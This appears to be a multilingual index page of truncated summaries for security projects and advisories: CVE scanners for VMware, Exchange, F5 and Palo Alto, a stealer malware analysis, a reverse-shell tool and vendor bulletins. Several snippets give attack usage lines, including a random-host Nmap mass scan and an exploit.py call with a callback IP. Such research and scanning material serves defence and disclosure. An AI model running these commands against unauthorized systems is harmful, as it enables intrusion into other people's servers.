Salat-Stealer-Telegram-Proxy-Decoy-C2-Analysis

1. Приманка Telegram Proxy – Маскировка и уклонение При запуске Salat Stealer отображает полностью функциональный интерфейс Telegram Proxy. Эта приманка служит маскировкой, чтобы обмануть пользователя, заставив его думать, что он использует легитимное прокси-приложение, в то время как вредоносное...

CVE-2021-21975

CVE-2021-21975 Скрипт Nmap для проверки уязвимости CVE-2021-21975 Ссылки на уязвимость: https://app.howlermonkey.io/vulnerabilities/CVE-2021-21975 https://www.vmware.com/security/advisories/VMSA-2021-0004.html Блог...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 Введение в уязвимость 21 сентября 2021 года VMware опубликовала бюллетень безопасности, в котором раскрыла 19 уязвимостей в vCenter Server с оценками CVSSv3 от 4.3 до 9.8. Среди них наиболее серьезной является уязвимость произвольной загрузки файлов в vCenter Server...

CVE-2021-34473-NMAP-SCANNER

CVE-2021-34473-NMAP-SCANNER Массовый сканер уязвимости Microsoft Exchange Windows CVE-2021-34473 Команды nmap -iR 500000 -n -p 443 --script cve202134473.nse scan500k.txt nmap website.com -n -p 443 --script cve202134473.nse Пример Starting Nmap 7.92 https://nmap.org at 2022-11-16 08:17 Hora PadrÒo...

scanner-CVE-2020-5902

BIP-IP TMUI Сканер - CVE-2020-5902 Скрипт выполняет проверки на CVE-2020-5902 Использование: Укажите список IP-адресов в файле "ip.txt" для сканирования на CVE-2020-5902 Порт по умолчанию: 443 Пример вывода + Хост уязвим к CVE-2020-5902:IP-адрес + Хост не уязвим к CVE-2020-5902:IP-адрес...

mediator

Mediator est un reverse shell chiffré de bout en bout dans lequel l'opérateur et le shell se connectent à un serveur « médiateur » qui fait le pont entre les connexions. Cela supprime le besoin pour l'opérateur/gestionnaire de configurer une redirection de port afin d'écouter la connexion. Mediat...

Commvault-CVE-2025-34028

CVE-2025-34028 Commvault: удалённое выполнение кода CVE-2025-34028 NSE Как запустить в Nmap: nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...

CVE-2025-0108

Сохраните этот скрипт как paloaltocve20250108.nse, затем выполните следующую команду Nmap: nmap --script paloaltocve20250108.nse -p 80,443 или для списка целей: nmap --script paloaltocve20250108.nse -p 80,443 -iL targets.txt...

CVE-2026-104811

DigitalCanion SA has discovered a vulnerability that allows remote attackers to execute arbitrary code on affected installations of the product. Authentication may be required to exploit this vulnerability. The specific flaw exists within the Configuration → Services → Music on Hold functionality...

EUVD-2026-92293

DigitalCanion has discovered a path traversal vulnerability that allows an attacker to access files outside of the intended directory. The specific flaw exists within the Maintenance → System Logs functionality of the web management portal listening on TCP port 443. The application fails to...

CVE-2024-21762

Utilisations : python3 exploit.py --target 192.168.1.1:443 --callback-ip YOURIP --callback-port 8080...

westone-CVE-2021-21972-scanner

westone-CVE-2021-21972-scanner Уязвимость удаленного выполнения кода в VMware vCenter Server. Злоумышленник, имеющий доступ к порту 443, может отправить специально сформированный запрос на vCenter Server, что в конечном итоге приведет к удаленному выполнению произвольного кода. Установка и...

CVE-2020-5902-F5BIG

CVE-2020-5902-F5BIG Exécutez simplement la commande comme 👇 go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m R -f /etc/issue or go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m C...

CVE-2021-26855

CVE-2021-26855 CVE-2021-26855, также известная как Proxylogon, — это уязвимость подделки серверных запросов SSRF в Exchange, которая позволяет злоумышленнику отправлять произвольные HTTP-запросы и аутентифицироваться как сервер Exchange. По словам Orange Tsai, исследователя, обнаружившего...

Exploit for CVE-2026-88772

CVE-2026-88772 - Citrix NetScaler ADC/Gateway DTLS memory over...

SUSE CVE-2026-54764

Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's ForwardAuth middleware, even when configured with trustForwardHeader: false, derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of t...

Siemens SINEC NMS Improper Authentication Privilege Escalation Vulnerability

This vulnerability allows remote attackers to escalate privileges on affected installations of Siemens SINEC NMS. Authentication is required to exploit this vulnerability. The specific flaw exists within the web service, which listens on TCP port 443 by default. The issue results from improper...

Egress Policy Bypass via DNS over TCP in Harden-Runner (Community Tier)

Summary A vulnerability exists in the Community Tier of Harden-Runner that allows bypassing the egress-policy: block network restriction using DNS queries over TCP. Harden-Runner enforces egress policies on GitHub runners by filtering outbound connections at the network layer. When egress-policy:...

CVE-2021-22005

The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file...

Siemens SIPROTEC Inadequate Encryption Strength (CVE-2024-38867)

The affected devices are supporting weak ciphers on several ports 443/tcp for web, 4443/tcp for DIGSI 5 and configurable port for syslog over TLS. This could allow an unauthorized attacker in a man-in-the-middle position to decrypt any data passed over to and from those ports. This plugin only...